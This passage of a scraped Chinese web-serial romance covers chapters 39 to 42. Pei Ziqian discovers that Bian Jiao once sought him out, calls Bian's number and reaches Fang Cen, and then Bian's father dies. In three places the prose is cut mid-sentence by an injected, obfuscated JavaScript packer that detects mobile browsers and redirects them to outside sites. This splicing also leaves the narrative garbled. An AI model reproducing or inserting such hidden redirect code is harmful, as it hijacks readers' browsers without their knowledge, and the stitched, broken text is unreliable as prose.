他的固执不过是给自己一个拒绝遗忘的理由,至少没有解开的误会或许还能在对方心里留下那么一抹如同烟点大小的创痛,就算无疾而终也好过真正走向终点。但倘若一切解开,那他就真的没有立场再与对方谈论过往、谈论感情。 他不过变成人生中最普通的一段过去存在于对方记忆之中,代名词是简单的四字成语,也许是咎由自取,也许是两不相欠。 可他又能改变什么? 该死的存在主义者说人注定自由,因此对自己的选择具有绝对责任。 也许这句话在讲什么更大的东西,但再大又能大到哪里去?裴子骞只知道在与卞皎的这场选择之中,说出咎由自取的是他,说出两不相欠的也是他。 在此之后,他最多只能为对方处理一些最简单的事情,比如舆论,比如热搜,或许偶尔幸运一点,能像今次这样赢来一句代为转告的道谢,但也仅仅是代为转告。 仅仅是以最安全的距离,向他遥远道谢。 39.N-错过2 落地海市已是下午五时。 傍晚时宋清订了一家法餐,又被他要求换成中餐。 临时订桌,没有包厢,但位置倒还算好,至少靠窗。宋清兴致缺缺,就餐间一直盯着黑屏的手机,像是在等待消息。裴子骞也没有话要讲,他没有饮酒,考虑用餐结束后出门买一包烟。 这时忽然身后有人叫了声裴子骞。 “真的是你?”一位身着灰色西服的男士伸手要同他握手。 裴子骞反应了几秒,认出这是自己大学时期的室友。他在国内仅念了一学期,与室友关系刚刚熟络后就出国,联系方式倒有,但后续没再有过交流。 他回握对方:“好久不见。” 裴子骞对这位同学的印象是性格外向,最早与他称兄道弟。果然对方现在的性格依然大咧。 “那可太久不见了,”对方说,“我想想过去多少年,一二三……五年了!不过这期间你的Oneiro我可一直关注着的啊,裴总。” 老同学这样一声调侃,裴子骞不免笑道:“钱总你也不差,怎么样,来吃饭?” 钱宇说:“刚谈完生意啦。毕业后我自己接管家里的小公司,这不你们最新的那款智能眼镜,有一项环节就外包给我们的。” 裴子骞就道了声这么巧么,然后将对方介绍与宋清认识。 宋清知晓后也笑着和对方握手:“巧成这样,找时间一定要和钱总一起吃饭。” 钱宇就笑道:“没问题,重要的是你和裴总赏脸咯。说起来我也是这两天才知道阳市的科技交流会你们有去,我也收过邀约,但是行程冲突,要是当时知道裴总你回老家,怎么的我也要找你做东道主。” 裴子骞重复他的话:“没问题,重要的是钱总赏脸。不如现在就给我们个面子,坐下来叙叙旧。” 钱宇嗐了一声:“什么面子不面子,老同学,何况还是合作伙伴,再这么生分就不聊了啊。” 话虽这么说,人却是入座席中。 裴子骞招侍者来点菜加副碗筷,对方却摆手称已经吃够,饮点酒聊会儿天就好。见对方其实已有酒意,裴子骞料想方才生意场上就饮酒不少,便称自己刚服完药就不点酒了,上一点茶水如何。对方欣然应允。 三人聊了会儿天,内容不出那项智能眼镜制造,宋清提问一些关于智能假肢方面的问题,钱宇恰好对此有所涉猎,于是二人添加联系方式。 裴子骞饮一口茶,感觉抽烟的欲望被聊天消下一些,四十八小时以来难得心情不错。 在海市念书的半年虽然心情不佳,但却是他的人生迄今为止中最轻松的半年,经济上没有压力,学业上和后来相比也称得上松放,因此尚拥有过许多美好的回忆,这次回来,他甚至预备在这个地方再独自待上几天,权当散心。 于是面对老同学,他主动掀起话题。 “说起来你是广省人吧,”他道,“我记得那年你带了几盒鸡仔饼来学校,宿舍一人一盒。” “这你都还记得!”钱宇笑道:“那时候我开学前看攻略嘛,大家都说要带家乡特产和室友熟络,我思来想去只能就带了鸡仔饼,现在想来也不知道当年怎么拿得出手的。但带特产还是有一点好处,就是你到现在还记得我是广省人。” 裴子骞笑:“被鸡仔饼收服了。” “记得一开始,我分辨了许久你们都是从哪里来的,尤其是你,你的普通话没有口音,根本听不出来是哪里人,后来才知道原来你们阳市教育那么发达,学生从小就讲普通话,一个二个都没有口音。” 裴子骞自幼就不讲方言不假,但对方最后一番论断让他不得其解。 “学生从小讲普通话?” “不是吗?”钱宇道:“我也是猜的。主要那一年你那个高中同学给我的冲击太大了,讲话没有南方口音就罢了,居然还有首都味儿……” 裴子骞倒茶的动作停了下,抬眼看他。 “哦,这事你可能不知道。” 钱宇就说: “说起来你真的神出鬼没,当年你走得匆忙,寒假还没开始就离校了,我们都不知道你去了哪里,还是这两年关注Oneiro才知道你原来去了德国留学。就在你走后差不多一周,有个人敲门到我们寝室,自称是你的高中同学。也不知道他是怎么进学校来的,总之我们就说不清楚你去哪里了,后来也就释怀,你连相处三年的高中同学都能抛弃,我们这种一学期的,嗐哟……” 裴子骞越听越僵硬,握着茶杯的左手差点被茶水浇到,还是宋清这时眼尖手快扶了一把他手中的茶壶。 他放下水壶,甚至没有分神抽纸巾擦手,直接问:“找我的叫什么名字?” 钱宇见他表情不对劲,看了一眼宋清后,说:“这个记不清了,过去太久,我最多只记得他的脸,总之挺瘦,挺高的……” 最终一餐饭很快结束。 宋清与钱宇说过回见后转身叹了口气,接着给裴子骞散了根烟。 裴子骞靠在路边,没有接。夜晚华灯初上,鳞次栉比的大厦灯光照在脸上有几分朦胧。 宋清见他不接,刚要收回手,却听他开口。 “你知不知道我在戒烟?” 宋清把烟叼自己嘴里:“是吗?那你这次够久,算起来戒了五个小时,大获全胜。戒完没?” “没有。” “行,”烟盒塞回兜,宋清捧手要点燃自己叼着的烟,“明天再抽。” 裴子骞却盯着那抹烟点光亮,忽然上前,取过他手指挂着的车钥匙。 “帮我买条烟,常抽的那款,我先回酒店。” 说完就朝停车场走去。 宋清一口烟吸一半就停下,嘴巴里还在冒白烟:“喂,你自己没长脚吗……” 十分钟后裴子骞回到酒店。 开门插卡,他脚步一刻不停地走向行李箱,取出最底部的那个纸盒。上了不知道多少转发条后,月亮河伴随着发条转动的声音缓缓流出。 他终于靠在落地窗旁。 宋清的烟送来时,他一句话也没说,只伸了一只手到门外去接。关上门后颤抖着拆开包装将烟点燃,直到吸入一口,才感觉心里烧灼的感觉终于消失一些。 发条停下,他就又叼着烟拿起来去上。这时可能动作太大,烟灰又抖落了一点到音乐盒上,他用手指去擦拭,却反而将灰擦进了缝隙里,留下一抹灰白。 盯着烟灰看了几秒,他放下音乐盒拿起手机。通讯录翻了很久,找到以往那堆国内的大学同学,他给钱宇发了一条消息。 先是图库里的一张照片。然后是文字。 [是这个人吗?] 对方没有回复。 裴子骞等了几分钟,熄灭屏幕,抽完手上这根烟。 消息声响,钱宇回了。 [好像是。] [不对,又不大像。] [记不太清,我当时也没注意看。] 裴子骞盯着消息看了几秒,低声骂了句后捻灭烟蒂,重新点燃一根望向天花板上的蓝色夜光灯带。吞吐几秒后,他忽然低头重新打开手机,回到与钱宇的聊天框点进上一张照片。 那是一张肖像,画面中的人看着镜头浅笑,左眼处一颗小痣藏在眼皮褶皱之中欲盖弥彰。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15411212|165050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>裴子骞看着屏幕深吸了一大口烟,直到呛到咳嗽,才放下手机灌了口冰水,但咳嗽却反而更加剧烈,连胸口肺叶处都传来鼓胀针刺的疼痛。 一整瓶水喝下,他才终于缓过来,撑着桌子急促呼吸。 左手处有根烟头烫在手背上方,裴子骞却只一面呼吸一面直直看着,好似没什么感觉。好一阵后才动了下手,烟头掉落,一旁的音乐盒这时却随之被碰倒在地上发出一声清脆碎响。 淡蓝漆色的木盒四分五裂散落在地,他垂眸去看了眼,没有俯身捡起。收回目光,他只埋下头平缓呼吸。 手机屏幕已经熄灭,倒映出蓝色灯光,盯了大概十秒钟,他倏忽抬手将手机翻面盖在桌上。 他无端感觉自己好像在某个时刻错过了什么。 重要的不是在哪个时刻,也不是错过的是什么,而是他已经错过了,甚至不知道错过的是什么。 - 第二日助理打来电话确认行程时,裴子骞的声音嘶哑,前晚宋清送来的那条烟此刻散落在床边。 助理询问他是否确定要在海市再待几天。 “不用,帮我订……”他咳了几声嗽,报出目的地,“订今天最早班的飞机。” 助理问:“今天?那下午的座谈会以及接下来两天的行程为您取消?” “嗯。” 助理便说好,关问几句他的身体状况后结束电话。 裴子骞仰躺在床上许久,终于伸手重新拿起手机。私人微信上,最新一条来自公司公关部负责人。 对方称事情已经彻底处理结束,是否要将方岑的也一并处理。 裴子骞从床上起身,回道不用,但还没发出就停顿两秒,删掉后重新问:[不处理是否会影响到他?] 对方回很快:[可能会再次波及,毕竟现在方岑的家庭关系已经全部被扒个底朝天,他算半个表亲。] [那就一起处理,多谢。] 这时助理发来航班信息,在四小时后。 裴子骞穿衣洗漱,照镜时可以看见眼白带着明显的红血丝,仅仅一夜下颌便生出青茬胡须。 于是当宋清前来敲门质问时,首先被他这不大美好的状态给怵了一跳。 “……你干嘛了?”宋清先环视了一遍他的房间,像在找什么,半路忽然停下:“等等,这是国内。那你怎么这样子,病了?” 裴子骞清楚他找的是什么。懒得回复,他说:“有事,先回去一趟。” “昨天才飞过来,你飞着玩呢?” 裴子骞只俯身捡地上的烟盒,说:“海市这边麻烦你了。” “这无所谓,”宋清讲,“只是我担心你的状态,要不要给我讲一下你回去做什么?” 裴子骞直起身。 宋清追问:“还是说没有想好?” 他知道昨天傍晚的那番对话对裴子骞一定有影响,但对方像这样急着赶回去,还真有些反常过劲。 经过这么多块线索拼凑,宋清也能大概知道一个故事梗概,感情之事越坦然就越难以说清道明,昨日上午才说没可能的人,没道理就因为这样的一件旧事重燃希望。 果然裴子骞侧了下头对他说:“到了再想。” 宋清一笑,调侃道:“那我是否应该请人保证你的人身安全?” 裴子骞转动了瞬手腕,将空烟盒远远掷进垃圾桶,纯黑色的包装在半空中划出一个完美弧度。 “不至于。” 他回身点燃一根烟。 升腾的浓白烟雾之中,他半眯着眼睛: “不过,我的确要去见一个算不上安全的人。” 40.N-幻想3 十一月末的阳市天比夏日晴,至少降雨减少。 裴子骞落地时已是下午三时,在飞机上并未用餐,但出机场后上计程车却直接报了一家茶楼的名字。 到达时,已有一个人等候他多时。 “不知道你喝什么,我点了两杯飘雪。”对方说:“刚下飞机吗,吃饭没有?” 裴子骞挂好大衣,落座。 “吃过了。”他讲。 “那就好那就好……其实你没必要专程回来,一通电话就可以解决的事,反而耽误你工作。” 服务员这时上来两杯茶水,还未开放的茉莉白花在水中飘荡。 待其走后,裴子骞说:“你联系我这么久,应该不只是想要一通电话。” 果然对方的表情变了瞬。 “大伯是联系你很久,但你没有一次回复。” 自上次金湖区一别,陈素忠不知从哪里要到裴子骞的联系方式,还给Oneiro打过许多次电话,却统统没有回应,本已渐渐放弃联系,直到这次突然收到对方发来信息,约他谈话。 这位子侄的表情依旧不算好,但与上次醉酒时相比,周身的疏离带上了层薄膜,至少不再锋利得像把匕首。 这份尊重给了陈素忠良好信号。他张了张唇欲要继续开口,却被对方打断。 “坦白讲,”裴子骞说,“你凭什么觉得我该回复?” 他与陈素忠的关系向来不远不近,国外五年间除了汇款外没有任何联系,祖母的去世对方更算是直接原因,诸点相加,他于几年前打回的钱就已经足够买断他们的关系,即你分一口饭给我,长大后我还给你。 收到对方源源不断试图联系的消息时,裴子骞其实并不意外。 陈素忠早年好一个“赌”字,麻将、牌桌,一晚输赢上万,妻子许多次威胁与他离婚,他也下跪承诺过许多次绝不再犯,却不料在生意场上赌了个家破人亡。 这样的人打来电话,谁都知道是什么目的。 “大可直说你要多少。”裴子骞没有碰桌上的茶水,交叉双臂,眼神淡漠:“这是最后一次。” 陈素忠的唇却闭了闭,他脸颊上的皱纹随着动作起伏一瞬,接着重新启唇。 “我不是要钱。”他说:“大伯知道你不会信,但是我真的已经不碰那些东西了。” 说着他取出手机,按开锁屏,碎裂的屏幕上背景是一片蓝天照映金湖,湖边栏杆前有一位一怀抱小孩的女人,面容含笑,手给孩子指着镜头的方向。 裴子骞认出那个女人是他的伯母。 “你伯母添了个弟弟,”陈素忠讲,用手指点了下那个孩子,“这是你的表弟。” 他的表情洋溢着幸福,就像一切晚年得子的父母,望着照片的眼神中充满慈爱。 这种眼神令裴子骞陌生。 “恭喜你。”他平静地说。 目光在那张照片上再次停留两秒,他忽然收起视线。 “这就是你找我的原因?”他问:“让我见证你的家庭有多幸福么?” 这次的语气依旧平静,但眼神却凉得透顶。 陈素忠茫然抬首,似乎不明白他为什么这样问。收起手机,他说:“我们是一家人,没有你家我家之说。” “是吗?”裴子骞说:“可是我姓裴,你姓陈。” 这句话陈素忠曾经亲自对裴子骞说出口,许多次,不过可能连他自己都已忘记。 看着对方无措却又没有反驳的样子,裴子骞低下眼眸,笑了一下。 “算了。”他说:“还有没有别的事情?” 陈素忠说有。 他从放在椅上的包中取出一张卡,递到裴子骞面前。 “你打来的两次钱,大伯当时用了一半去买房。”他说:“作为长辈,本来就不应该用你的钱,这不前两年拿到一笔补偿,现在总算凑齐还给你。” 银行卡薄薄一片,唯有数字凸起,裴子骞眉间逐渐皱起,只拿目光划过这张卡的表面,没有一只手抬起。 “为什么要还给我。”他问。 陈素忠说:“你在外面打拼不容易……” 裴子骞打断:“你知不知道我为什么要给你这笔钱?” 陈素忠怔了下,说:“你一直是一个孝顺的孩子。但是大伯大妈不想拖累你,这几年钱难挣,你现在在做生意,指不定什么时候需要用钱。” “所以你觉得我给你钱,是在孝顺你?” 裴子骞忽然轻笑出声。 良久后,他说,“我真不知道要怎么对你。” 五年前离开阳市,他未告知任何人去处,也未与国内曾经的任何故人有过联系。 那年跨年,他给自己放了一个假,在家花三天时间重新读完几本已经快失去记忆的旧书,期间也动过想法孤身去到波士顿郊外看某片被松针遮盖的湖畔,不过还是被课表捺住脚步。 直到几个月后,他傍晚路过一间中餐馆,忽然发现悬挂在高处的红色灯笼,才恍然望向窗边那熟悉又陌生的倒贴福字。 新一年的春节来得这样无声无息,忽然令他想起书里的那句话:人只有在举目无亲的远方,才能够真诚地活着。 他于是开始看见自己。 在那之后,他第一次给陈素忠汇款,第一次联系到宋清,提出要与对方一起做些东西。 也是在那时,他第一次在异乡打开旧手机,将数据全部传输出来,包括那张已经用过的天空照片,以及那段演讲视频,还有成千上百条来自对方的讯息。 当一个人身边环境翻天覆地改变,过往的事情就会无可避免地变得陈旧模糊,有时甚至像是上个世纪的事情,又或者是一场好梦后的追忆,连曾经最痴迷的双唇触感都像是幻想,对方的脸孔也变得漫漶不清。 有一段时间,他甚至分不清他的回忆中哪一部分是现实,哪一部分又是自我宽慰的无端幻想。 就像飞海市前宋清接到的那通电话,宋清讲他不接电话是因为嫉妒,但他可以很确定地说,完全不是。 他并不嫉妒这通电话是打给谁,又是与谁说了什么,他只知道自己不接电话是因为害怕,害怕听到对方的声音,害怕再度与对方对话,害怕一切又是无端增添的幻想,到最后依旧改变不了定局。 可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15422328|165050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当在海市,当裴子骞从钱宇口中得知曾经有人来找过自己时,他忽然意识到什么。 很可能一直以来,他都把一些事情完全想错。 比如现在,他严阵以待,以为陈素忠找自己不过是为了金钱,可对方与他聊的只有亲情。又比如过去,他曾以为卞皎被现实拖累而不得不放弃一些事情,自己也是那被放弃事情的其中之一,可又有人告诉他,对方竟然来找过自己。 其实不管在哪段关系里,拿着过去框架而故步自封的从来只有他,只有他裴子骞而已。 茶室里安静得落针可闻,陈素忠看着子侄说完一句话后紧紧闭拢的双唇,不知道该做什么。 抉择一阵,他将银行卡往对方手前更加推近一分。 裴子骞抬眼,眼底的情绪无法看清。 几秒后,他将这张卡推了回去。 陈素忠见状眉间皱紧,刚想说话,却听对方忽然开口:“今晚你们是否方便?” 他抬头与裴子骞对视,发现那张年轻面孔上长久紧绷的唇角终于有了放松,很小,很轻微,但始终真的算放松。 “叫上伯母和表弟。”裴子骞说:“一起吃个饭吧。” - 裴子骞不计前嫌,陈素忠自然高兴得如同新年,他讲今天刚好是假期,伯母和表弟都在。 他们的生活真的走上正轨,一辆十五万的车加上小户型公寓,外加两份薪资不高但稳定的工作,虽说每个月要还房贷车贷,但日子平淡中随处可见幸福。 陈素忠带裴子骞先回了一趟老房子,四层高的水泥墙面在日光下泛出金黄。 陈素忠说:“拿到补偿款后,我就把房子要回来了。” 裴子骞走进一楼,声控灯炪了很多年,潮湿的黑暗空气中时间的定义仿佛消失不见。 “补偿款?”他象征性地问了一句:“集中给的么?” “算是。”陈素忠讲,“郑老赖私下给的赔偿。” “什么时候的事?” “你走的第二年,冬至左右,”陈素忠笑一下,“你伯母刚好就是那时候怀上弟弟。” 裴子骞停下脚步。 “三年前?” 如果他没有记错,三年前的夏季郑怀远就已脑梗入院。 “你确定这笔钱是他给的?”裴子骞问。 陈素忠迟疑一下。 “倒也不算……处理事宜的时候,好像是他儿子到场的。”说着他用手比划了一个大致高度,动作在裴子骞面前刮起一小阵风:“跟你差不多大的一个小伙子,个挺高,长得白净,说起来一点都不像那个郑老赖……” 那阵风的高度十分相熟,刚巧在裴子骞双眸的位置,他双眼略感酸涩,黑暗之中,握在红漆色栏杆上的手指逐渐收紧。 片刻后,他终于拾起此行最初的目的。 “你还记得他长什么样?”他道。 陈素忠说记得,那张脸不会忘。 “那,这个人……他,” 裴子骞的声音在空荡楼梯间艰涩出口,被墙面反弹的缘故,微微有些发颤—— “他有没有来找过我?” 41.N-拨通4 “找你?…… 你们认识?” 陈素忠似乎被问住,又反应过来自己这个问题有些没有必要,沉默几秒后他说: “没有吧。至少当时他没有向我问过你。” 裴子骞握紧扶手的手指一瞬松开。 陈素忠感受到了不对劲,于是说:“也不一定,你等我再想想。” “不用了。”裴子骞说。 他的声音比方才要沉上许多。 “不是什么重要的事,出去吧。” 说完他就抬步往室外走,陈素忠在原地问:“不上楼看看吗?三楼没有变,你的东西我都保存着,换个床单被套今晚你就可以住……” “不用,”裴子骞没有回头,“我签好酒店。” … 晚间吃过饭,已近九点。 伯母早已带着三岁的表弟在包厢里等待,一番算得上纯粹的叙旧后,伯母让表弟叫裴子骞哥哥。小孩的眼睛大得像葡萄,看着裴子骞脆生生地叫了一声,裴子骞与大伯饮了几杯酒,就轻盯着表弟看了几秒,轻轻应了,然后递出一个红包。 结束后大伯提出要送他回酒店,裴子骞说不必。 “我还有些事要处理。”他讲。 大伯一家就先离开,在路边抽了一根烟后,裴子骞招手叫了辆计程车。 目的地是金湖区。 他的酒店并没有签在这里,甚至,此行回来他其实还未预订酒店。 在金湖下车,沿着湖畔走五分钟,湖风吹散不少酒意,他进到一个小区。五年前他第一次来到这个地方时还是白天,那栋双层别墅前的芍药在日光下泛出粉紫色光芒,那时候花圃的主人还与他素不相识。 站在夜色中静静看了这栋房子许久,他终于抬步走进,解锁房门。 三年前回国处理蓝调时,裴子骞意外遇到房屋出售,当即购入。上一位房主没有改变花圃以及室内装修,第一次步入时,窗外金湖闪耀蓝彩,空气中仿佛加上一层模糊滤镜。 按开灯,他并没有继续走进。而是靠在门旁,朝二楼的那个跃层平台看去。 以往每次进这栋房子,都会有一个人站在那里同他相望。金湖的阳光会洒在他的侧颜,穿着浅蓝色的睡衣,支着脑袋,对视时那双眼睛就笑开。 而此刻,木质栏杆后方的灯光没有开启,一片漆黑,空荡无垠。 收回视线,裴子骞摩挲了下兜中的烟盒,但却没有抽烟。 走到沙发旁,他仰面躺下。 半空中一盏玻璃吊灯垂吊着,中央是一轮月亮的图样。 “他有没有来找过我?” ——裴子骞也不知道自己究竟为什么要向陈素忠问出这个问题。 飞回阳市前的那个夜晚,他想了很久。他想如果卞皎去过海市找自己,那没道理没有回过阳市,要确认答案也很简单,只需要找到阳市中唯一和自己有亲缘关系的人问清就是。 但其实根本没这个必要。 整个阳山中学,他只与卞皎相熟,敲开宿舍门自称是他高中同学的那个人,除了卞皎又还能是谁? 出国那几年,裴子骞的生活方式与过去有很大的不同。他不再回避他人的靠近,交了几个知心朋友,某一年还组织留学生队参加了龙舟活动,虽然最后止步于半决赛,但结束后队友们一起去一家酒馆庆祝,欢声笑语就像抱得奖杯入怀。 他早就不孤独,他早已有许多朋友,可是这些所有关系都与曾经的那个人不同。 Oneiro成立后的第一个产品是一款智能眼镜,那时候团队刚刚起步,他拥有绝对的话语权。眼镜一共有两个最普通的黑白配色,命名阶段,他为白色取了一个单字“皎”。 包括此前的弯月LOGO,起初是他的授意,后来反倒像是一种品牌名片,营销部在自主决策时也会贴近和月相近的相关元素。 宋清讲他这种行为是在祭奠死去的爱情,陈久玥则要更加不留情面一点。 某一年的中秋夜,陈久玥即将回国,三人聚了一晚餐。宋清那时候还不怎么行,仅仅是喝了四杯红酒就趴在桌上神志不清,剩下陈久玥变着法从裴子骞嘴里套话,问那个皎字究竟是什么意思。 裴子骞当然没有回答,但陈久玥比宋清聪明。 她饮一口酒后讲:“对我而言你就只有深情这一个卖点了。然而连这份深情,都不过是自我感动。” 裴子骞当然知道自己不过是在自我感动。 不论是弯月LOGO,还是皎字的颜色,他知道自己不过是在借这些来佐证一个唯一,他或许不是那个人的唯一,但至少在他这里还有一份唯一。 当只爱过那唯一一场时,没有人能说放手就放手。 闭上眼睛许久,他忽然睁开,取出手机。 忽略掉一切邮件信息,直接点进备忘录中最末尾的分组,一串数字出现。 飞海市前宋清曾拿卞皎的手机号试图与他做交易,宋清这个人很会在谈判场上为自己谋取利益,但在生活中却傻到可笑。 他怎么可能没有卞皎的手机号? 这串数字他早在几年前马场交易时就已得到,一直静静躺在他的备忘录角落,被重复默读背诵百千万次,也被输入过拨号界面,却未有一次真正拨通。 原本他帮助卞皎热搜一事,其实是抱着更多的想法。 他想虽然已经两不相欠,但这件事后下次见面,至少还有立场与话题同对方多聊一句。可唯一的话题就这样被对方提前预□□通电话打给了宋清,隔着千万公里的距离,连一抹声音都不能听清。 想来机场时他不该害怕。当时他应该从宋清手中夺过手机,他该去接听那通电话,即使这通电话不能改变任何事情,但至少,能听一听他的声音。 窗外夜色浓郁,天空中没有月亮。 那手指在号码上悬空许久,忽地,又失力移开。 裴子骞最终选择按下锁屏,就像过去千万次一样。 起身关掉全屋的灯光,他靠在墙边抽完烟盒中的最后一根烟,接着开门,走出别墅。 房门落锁,金湖回归一片漆黑孤寂。 - 这天晚上裴子骞只睡了三个小时,处理工作处理到深宵。 期间宋清打来电话,讲如果你此行回去是处理工作的,那不如现在就打飞的回到海市来。 裴子骞说没有问题,明天下午就回。 宋清听他这回答沉默几秒,骂了句神经就挂断电话。 翌日早九点,裴子骞乘车去郊区,进到一家马场。 这家马场便是五年前他与蓝调初见的那一家,也是三年前他为蓝调医治的那一家。 此行开始前,他原本想的是在海市散心,可散着散着,最终还是回到这片地方。 其实直到天亮前,裴子骞都没有想过要来骑马,来时也没有带设备和服装,不过他对此没什么要求,在马场里随意买一套就足够。 从登记处往里走,领他的两位工作人员其中一位盯着他看了许久,忽然说:“先生,您以前是不是来过我们家马场?” 裴子骞就说是,我买过一匹马。 那位工作人员 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15426313|165050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立即说:“哦,我想起来,您是蓝调的主人!” 旁边一位也转过头,惊讶说:“蓝调就是您买下的么?” 裴子骞便礼貌浅笑道:“是我,你们都认识它?” “认识,因为它的经历太曲折了。”惊讶的那位工作人员说:“当时是我负责照顾他,差一点就要见证他被……” 裴子骞说:“并不是什么大病,好在他很坚强。” “但说起来还得是您救了它,否则它连坚强的机会都没有。”对方说。 提及蓝调,裴子骞心情好了稍许,想到当初马场办事效率很快,便闲问一句:“当时是你与我对接的么?” 对方摇头:“那时候和您对接的是另一个人,现在已经离职了。我当时负责的是与它前主人联系。” 裴子骞的眼底动了瞬,没有说话。 只听对方继续说:“我记得您是蓝调的紧急联系人,我们马场一贯会在购马之初就会登记两个号码,一开始我给原马主打了三天的电话都没能打通,同事才联系的您。” 裴子骞垂眸拽动着皮质手套,不知道在想什么,只说:“好在你联系了我。” 另一个工作人员这时笑道:“也是您出手大方。其实当初原马主还不同意交易呢!” 这句一出,裴子骞的脚步却忽地停下。 “不同意?” 那位工作人员也就停下脚步,有点奇怪地说:“对。” 裴子骞的眉紧紧皱起。 “怎么会?他想将蓝调人道处理不就是因为缺钱么?” 工作人员见状看了看另一位同事。 几秒后,那位工作人员说:“这事是我们的错。这种不接电话的情况我们见得多,一般来讲就默认主人不想再负责了,一开始我们没有对接到位,那位前同事就直接默认原马主选择人道处理,直到后来劝说交易时联系上对方,才知道对方并没有这种想法。” “后面我们才知道,原来他是家里人生了重病,我一开始尝试联系那几天他正好在等ICU,所以无暇接听电话。说起来他也是一个爱马的人,即使您出那么高的价格,他也很长时间都没有松口。” 走廊灯光幽暗,唯有前方通往的草场尽头有一片白光。 工作人员讲完这段话,走廊中空寂几秒。 裴子骞的表情没法看清,半晌后,才只能听到他用很轻很轻的声音问: “那后来,怎么松口了?” “当然是因为您的价高。”对方观察着他的态度答:“谁能跟钱过不去?其实养马的也并不都是顶有钱的人,我听说那时他还考虑过贷款给蓝调做手术,可惜后来一场病拖垮一个家庭,不过伤马还能卖出好价,已经算是幸运了……诶,先生——” 他的话还未说完,裴子骞就将头盔塞到他手中转身就走,高挑颀长的背影边走边可见到在从兜中取出手机。 黑色马术长靴在木地板上橐橐作响,备忘录里的那个号码被毫不犹豫地复制到号码盘,他一刻未加犹豫地按下拨号。 电话嘟音响了三下,很快接通。 但却不是熟悉的那个声音。 “喂,找谁?”一个陌生的年轻男音,态度很不好。 裴子骞脚步登时停下。 “你是谁?” 对方沉默几秒,忽然说:“你不会是裴子骞吧?” 裴子骞确信自己不会打错电话,面色冰冷再次发问:“你是谁?” 对方笑了下,声音带着蔑意:“我是方岑——” “小皎还在睡觉,你有事么?” 42.N-安抚1 方岑接到裴子骞电话的这一天很特殊,一切要从一天前讲起。 《南城往事》杀青第二天,卞皎给宋清拨出那个道谢电话,接着在阳市处理了一些后续事宜。第三天才乘机返回首都。 一下飞机,他便先去了一趟医院。 医生讲郑怀远最近的情况并不稳定,情绪也不对劲,连做康复时都闭着眼睛不看治疗师。卞皎到病房时郑怀远正在睡觉,平躺在床上双眼紧闭,沧桑的面庞灰白得像素描图,卞皎坐在一旁半个小时,直到要走,郑怀远都没有睁开眼睛看他一眼。 此前方岑劝说接他出院的事情只能按下不提。 回到宿舍时已是傍晚七点,简单洗漱后卞皎就直接上床睡觉。 多天来的疲倦在回到熟悉环境时终于席卷而来,他连行李箱都没有功夫打开,仅凭床头那燃尽了的香薰残存的香气就直接入睡。 不知多久过去,床头电话忽然响起。 猛然睁开眼,卞皎的心脏在一片黑暗中跳得很快,摸索着接起手机后,对面的声音不相识,并且说要找什么“李先生”。 卞皎这才松了口气,讲你打错电话了。对面几声抱歉后挂断,房间重新回到一片黑寂之中。 卞皎却再睡不着。 家中有人住院,最害怕的就是半夜接到电话,叫人心惊胆战。 入睡时他的窗帘只拉了一半,这时外面天光斜洒进房间里,照得空荡的天花板变成鸽灰色,卞皎睁眼盯着看了许久,忽然坐起来,按开台灯下床接了杯水。 直到冰凉的液体顺着喉间滚入食道,他才觉得心头的忐忑被平复了一些,回身上床,重新闭眼尝试入睡。 然而这时又一阵电话铃声响起,突然得如同一道夏日雷闪。 卞皎从混沌中撑起身,一秒不敢耽搁地接起电话,那头的声音依旧陌生。 但这一次不再是打错。 从宿舍赶到医院,耗时十六分钟,到达时是凌晨三点整,半个小时后,有人对他说节哀。 二十分钟后方岑与红姨都到来,再过十分钟后张碧云与丈夫也到医院。 张碧云哭得不成样子,方岑则拍拍卞皎肩膀,什么话也没说。 红姨找人算了时间,讲对方说在第二天下午五点火化最好。卞皎没有发表任何意见,只按照她讲的与殡仪馆联系。 从医院下楼出来后,楼外有一堆人或站或蹲在不远处,眼神明显打量他们。 主要是在打量卞皎。 其中有人走过来,远远问:“你是不是郑老赖他儿子?” 方岑立马上前挡在卞皎身前:“你做什么?信不信我报警?” “我做什么?要债啊。”对方说:“欠债还钱天经地义。你要报警就报呗。” 张碧云的丈夫认出这是一群高利贷专业讨债的,虽然不知道对方是从哪得知郑怀远的消息,但今天出现在这里,一定是特意捣乱。 果然卞皎才刚朝前走了一步,那群人立马就站起来要围过来。 张碧云的丈夫眼疾手快拉住卞皎,要方岑和他一起先到保安室去坐着不要出来。等了半个点过去,张碧云丈夫也找到了几个朋友过来,这才将那群人退散开。 卞皎全程没有说一句话。 